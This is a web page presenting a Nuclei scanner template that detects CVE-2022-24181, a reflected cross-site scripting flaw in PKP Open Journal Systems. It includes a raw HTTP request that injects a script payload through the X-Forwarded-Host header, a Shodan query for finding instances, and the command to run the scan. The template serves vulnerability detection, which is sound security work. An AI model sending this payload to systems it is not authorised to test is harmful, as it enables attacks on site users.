PKP Open Journal Systems 2.4.8-3.3 - Cross-Site Scripting

ID: CVE-2022-24181

Severity: medium

Author: lucasljm2001,ekrause

Tags: cve,cve2022,xss,oss,pkp-lib,edb,public_knowledge_project

Description

PKP Open Journal Systems 2.4.8 to 3.3 contains a cross-site scripting vulnerability which allows remote attackers to inject arbitrary code via the X-Forwarded-Host Header.

YAML Source

id: CVE-2022-24181

info:
  name: PKP Open Journal Systems 2.4.8-3.3 - Cross-Site Scripting
  author: lucasljm2001,ekrause
  severity: medium
  description: |
    PKP Open Journal Systems 2.4.8 to 3.3 contains a cross-site scripting vulnerability which allows remote attackers to inject arbitrary code via the X-Forwarded-Host Header.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement.
  remediation: |
    Upgrade to a patched version of PKP Open Journal Systems (OJS) or apply the necessary security patches provided by the vendor.
  reference:
    - https://www.exploit-db.com/exploits/50881
    - https://github.com/pkp/pkp-lib/issues/7649
    - https://youtu.be/v8-9evO2oVg
    - https://nvd.nist.gov/vuln/detail/cve-2022-24181
    - https://github.com/comrade99/CVE-2022-24181
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-24181
    cwe-id: CWE-79
    epss-score: 0.0017
    epss-percentile: 0.53018
    cpe: cpe:2.3:a:public_knowledge_project:open_journal_systems:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: public_knowledge_project
    product: open_journal_systems
    shodan-query: cpe:"cpe:2.3:a:public_knowledge_project:open_journal_systems"
  tags: cve,cve2022,xss,oss,pkp-lib,edb,public_knowledge_project

http:
  - raw:
      - |
        GET /iupjournals/index.php/esj HTTP/2
        Host: {{Hostname}}
        X-Forwarded-Host: foo"><script>alert(document.domain)</script><x=".com

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '<script>alert(document.domain)</script><x=".com/iupjournals'

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 490a00463044022020ea4d648b6353ea48e6cc7d96a5756917a7a630dbfc9ac1ee2f4d2831a6265e022060c70f97ea5bd45c1e9c6435b6f5f7172c7c48a17365206c0213a6bc5cd603e7:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2022/CVE-2022-24181.yaml"

View on Github